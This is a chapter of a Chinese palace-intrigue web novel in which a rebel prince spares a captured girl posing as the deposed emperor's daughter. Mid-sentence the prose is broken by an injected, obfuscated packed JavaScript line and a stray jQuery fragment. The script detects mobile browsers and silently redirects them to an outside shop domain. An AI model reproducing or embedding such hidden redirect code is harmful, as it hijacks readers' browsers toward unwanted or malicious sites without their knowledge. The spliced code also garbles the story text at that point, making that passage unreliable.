月梨本能地闭上了眼,脖颈微仰,不住颤抖。
虽是做了死的准备,但真正到了濒死的瞬间,皮肤的刺痛感传来时,她浑身直冒冷汗,齿关连带着整个身子都在发颤,几乎跪立不住,大脑一片空白。
突然,鬓边的凤钗滑落,发出一声脆响,月梨一抖,思绪终于回神了几分。
她根本逃不掉的。
殿内还有巨大的血腥味,是三个皇子的,眼前浮现出嘉瑶公主中箭倒地的景象,和一路走来看到内监宫女们的尸身遍地,他们都死了,她也不会例外。
尖利的发簪还在掌心紧紧握着,她想起邓嬷嬷的话……
相比被叛军折辱,如果只是死的话,其实并不可怕。她此刻该庆幸剑已经架在脖子上,从几位皇子的表情来看,没有什么痛苦,应当是死得很快。
眼见锋利的剑刃在少女瓷白的肌肤上划出一道血痕,谢泾一时没忍住,抱拳唤了一声:“王爷……”
对上自家王爷晦暗不明的目光,谢泾张了张口,没敢再说出一个字。
容策眯眸睨他一眼,见他自动闭嘴便没有理会。手中的剑刃抵着少女纤细的颈子,透白的肌肤下青色的血脉清晰可见,只要轻轻一划,说不定去地府的路上还能追上她那窝囊爹和兄弟,一家团圆。
不过,此刻她神情倒是平静,眼睫不颤了,肩膀也不抖了,瞧着挺从容。
莫不是眼见国破家亡,有些许视死如归的悲壮意味?
竟是比她那几个只会哭屁用没有的兄弟强一些。
月梨感觉到脖子上的剑停住,男子清冷低沉的声音传来:
“是个哑巴?”
她怔了一瞬,方想起刚才他问她的话。
月梨睁开眼,从持剑男子极其高大的身形向上望去,对上那张年轻的脸,烛光在他脸上留下恰到好处的阴影,看着是俊美的轮廓,精致的五官,但眉峰凌厉,眸光凛冽,浑身透着倨傲冷戾的威严,正神色不明地看着她。
她赶紧收回目光,下意识想叫“王爷”,但瞥见地上的凤钗,想到自己的装扮,而身着宫女服饰的公主连开口的机会都没有就被一箭毙命,月梨咬了咬唇道:
“皇…叔祖恕罪,侄孙…容…容嘉瑶……拜见皇叔祖。”
低细柔软的尾音颤了颤,容策微微皱眉,这叫得他一大把年纪似的,不过……算算辈分,的确没喊错。
死到临头,她脑子还算清醒。
“听说过本王?”
冰凉的剑刃蹭在她的颈间,月梨垂眸不敢动,定了定神,道:
“皇叔祖威名远扬,大缙无人不知。”
一家子就她识时务,容策嗤笑一声,又问她:
“怕不怕死?”
世上的人谁不怕死?月梨没有犹豫,点了点头,
“怕。”
时间忽的慢了下来,男子似许久没有再开口,月梨的心猛然跳到了嗓子眼,不知他为何问这些,更不知自己这话答得对不对,有没有触怒他?
若一定要死,她只想痛快地死,不连累父母家人,但剑刃却纹丝不动。
此刻就像明知有刀悬在头顶,却要落不落的,让人愈发紧张无措,月梨袖中的手慌乱地动了动,素簪随即滑落了出来。
落在青砖地面上的一声脆响,在安静的大殿中格外刺耳。
容策看去一眼,唇角勾起:
“想刺杀本王?”
月梨一惊,也不管脖子上的利刃,慌忙磕头:
“侄孙不敢!”
“这是……”
容策俯下身问她:
“是什么?”
被笼罩在男子高大的阴影下,月梨浑身颤得厉害,脑海一片空白,根本想不到其他合理的措辞,只得实话实说:
“是…是乳母邓嬷嬷交给……交给侄孙,让侄孙自行了断…用的……”
容策低头,那素簪一看就是上了年纪的妇人之物,应该没有说谎,再瞧抖成一小团的人,量她也没胆子糊弄他!
他挑了挑眉,原来是早就准备自戕,怪不得一点儿也不怕。
手中剑刃随着她突然跪下的动作,从颈间直接划到了下颌,明显的红痕往外渗着血珠,若不是他反应快及时往回收,这会子早遂了她的意,送她见阎王去了。
月梨不知道他信了没有,却也不敢看他的神情,伏地不动等待着死亡。
忽然一阵急促的脚步声踏入殿内,她余光瞧见一个文官打扮的男子走过来。
沈缄看着眼前一幕,愣了一瞬,随即拱手道:
“禀王爷,韩章、严赓等人不肯奉旨在奉先殿等,带着百官以死相逼,硬要闯入乾宁门见王爷,属下怕闹出事,吩咐玺王军暂且收了兵器。”
容策看向他:
“该来的都来了?”
沈缄点点头:
“三公、内阁的几人和六部的尚书侍郎们都在,翰林院也来了不少,至于领头的那两个,属下已派人去‘请’了。”
他说的“请”,就是让得力的精兵骑马去家里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811087|210830||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
将人打包绑过来,快得很。
容策点点头:
“好,本王过去会会。”
“是!”沈缄应声,看向另一侧,
“属下先把这几个…奴才的尸首处理了。”
月梨闻言心下愕然,这里哪有什么奴才的尸首?分明只有三个皇子……
这么想着,她不禁微微扭头,循着那文官的脚步声方向看过去。
却听头顶传来一道不善的声音:
“怎么?认识他们?”
剑刃重新贴近她,月梨嗅到危险的意味,慌忙转回,来不及思索太多,下意识摇摇头:
“不…不认识……”
容策将少女的细微动作尽收眼底,心中嗤笑一声,看来是见他迟迟不动手,觉得有活命的机会便不想死了。
小小年纪够狠心的,为了保命连亲兄弟也不认。
“真不认识?”
“看看清楚。”
月梨被抵在下颌的剑刃逼得侧过头,看向三个皇子的方向,几个精兵正遵循着那文官的吩咐,将三人如同被放干了血的枯槁尸身拖走,在地上留下几道长长的血印,她抿抿唇:
“真的…不认识……”
沈缄安排妥当,见自家王爷对那女子要杀不杀的,不禁有些诧异,再瞧她的年纪装扮,大致猜到了她的身份,过来问道:
“王爷,这是……”
既是废帝的女儿,就必须赶快处理了,以免落下口舌,内阁那几个可不是吃素的。
容策没有回答。
月梨垂眸不敢再看他,冰凉的剑刃动了动,该来的终于要来了!
她的心一下跳到嗓子口,指尖几乎要把掌心戳出血来,只觉剑刃蹭着她的下颌角向上滑过脸颊,却没有肌肤被划开的刺痛,接着,脸上的冰凉骤然消失。
“我那不中用的大哥父子俩就剩这么点血脉,你又唤我一声皇叔祖……”
容策伸手擦拭剑刃上残留的血滴,对上她那张一点儿都不像容询的脸,笑得好看:
“骨肉血亲嘛,如何能赶尽杀绝?”
沈缄一愣,他原本以为,身为废帝的女儿,这姑娘必死无疑。就连一旁的谢泾也惊得张大了嘴巴,十分不可置信。
容策看他们一眼,收剑入鞘:
“不是答应了容询给他留个后么?”
“本王怎能食言?”
在月梨怔然的目光中,男子转身向殿外走去,丢下一句话:
“找人安置她,看紧些!”